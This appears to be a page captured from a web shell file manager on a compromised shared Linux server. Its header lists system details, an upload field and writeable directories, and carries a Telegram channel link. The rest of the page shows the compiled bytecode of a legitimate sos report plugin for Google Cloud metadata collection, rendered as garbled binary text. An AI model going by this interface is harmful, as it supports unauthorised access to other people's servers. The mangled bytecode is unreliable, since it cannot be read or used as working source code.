https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/gcp.cpython-310.pyc
o

-�_g��@sbddlZddlmZddlmZddlmZddlmZddl	m
Z
mZmZGdd�de
e�Z
dS)	�N)�HTTPResponse)�Any)�request)�URLError)�Plugin�IndependentPlugin�	PluginOptc@s�eZdZdZdZdZedddd�gZdZd	Z	d
Z
dZdZd
d�Z
dd�Zdd�Zdefdd�Zededefdd��Zdd�Zededefdd��ZdS)�GCPzGoogle Cloud Platform�gcp)�virt�keep-piiFzyStop the plugin from removing PIIs like project name or organization ID from the metadata retrieved from Metadata server.)�default�descz3http://metadata.google.internal/computeMetadata/v1/zBhttp://metadata.google.internal/computeMetadata/v1/?recursive=truez[--REDACTED--]NzDDMI: Google Google Compute Engine/Google Compute Engine, BIOS GooglecCs(|�d�}|ddkr
dS|j|dvS)z�
        Checks if this plugin should be executed at all. In this case, it
        will check the `dmesg` command output to see if the system is
        running on a Google Cloud Compute instance.
        �dmesg�statusrF�output)�exec_cmd�
GOOGLE_DMI)�selfr�r�8/usr/lib/python3/dist-packages/sos/report/plugins/gcp.py�
check_enabled)s
zGCP.check_enabledcCs$|jddgd�|jddgd�dS)z�
        Collect the following info:
         * Metadata from the Metadata server
         * `gcloud auth list` output
         * Any google services output from journal
        zgcloud auth listr
��tagszgoogle*)�unitsrN)�add_cmd_output�add_journal�rrrr�setup4s	z	GCP.setupcCs�|jddgd��A}z|��|_|��|�tj|jdd��Wnty8}z
|�t|��WYd}~n
d}~wwWd�dSWd�dS1sLwYdS)Nz
metadata.jsonr
r�)�indent)	�collection_file�get_metadata�metadata�scrub_metadata�write�json�dumps�RuntimeError�str)r�mfile�errrrr�collectBs
����"�zGCP.collect�returncCs"|�|j�}|����}t�|�S)zq
        Retrieves metadata from the Metadata Server and transforms it into a
        dictionary object.
        )�_query_address�METADATA_QUERY�read�decoder&�loads)r�response�
response_bodyrrrr"Ls
zGCP.get_metadata�urlc
Cs�z8tj|ddid�}t�|��}|jdkr$td|j�d�|������|Wd�WS1s1wYWdStyM}z	tdt|��|�d}~ww)	zf
        Query the given url address with headers required by Google Metadata
        Server.
        zMetadata-Flavor�Google)�headers��z2Failed to communicate with Metadata Server (code: z): Nz,Failed to communicate with Metadata Server: )	r�Request�urlopen�coder(r0r1rr))r5�reqr3r+rrrr.Us*
�
��(�
����zGCP._query_addresscs���d�rdS�jdd��jdd�t���dtdtf�����fdd	����j��_���jdd
d����jdd
d�dS)
a"
        Remove all PII information from metadata, unless a keep-pii option
        is specified.

        Note: PII information collected by this plugin, like
        project number, account names etc. might be required by Google
        Cloud Support for faster issue resolution.
        rN�project�	projectId�numericProjectId�datar-cs�t|t�rd|vr�j|d<�fdd�|��D�St|t�r'�fdd�|D�St|t�r8|���j����j�St|t�rF|�krD�jS|S|S)N�tokencsi|]\}}�|��|��qSrr)�.0�k�v��scrubrr�
<dictcomp>sz5GCP.scrub_metadata.<locals>.scrub.<locals>.<dictcomp>csg|]}�|��qSrr)rB�valuerErr�
<listcomp>�sz5GCP.scrub_metadata.<locals>.scrub.<locals>.<listcomp>)�
isinstance�dict�REDACTED�items�listr)�replace�int)r@��
project_id�project_number�project_number_intrFrrrrFys




�
z!GCP.scrub_metadata.<locals>.scrub�
attributeszssh-keys�sshKeys)�
get_optionr#r)r�safe_redact_keyrrrQrr$is
	��zGCP.scrub_metadata�dict_obj�keycCs||vr|j||<dSdS)z
 Redact keys N)rL)�clsrYrZrrrrX�s�zGCP.safe_redact_key)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesr�option_list�
METADATA_ROOTr/rLr#rrrr,rKr"�staticmethodr)rr.r$�classmethodrXrrrrr	s,��
	'r	)r&�http.clientr�typingr�urllibr�urllib.errorr�sos.report.pluginsrrrr	rrrr�<module>s

https://t.me/RX1948 - 2025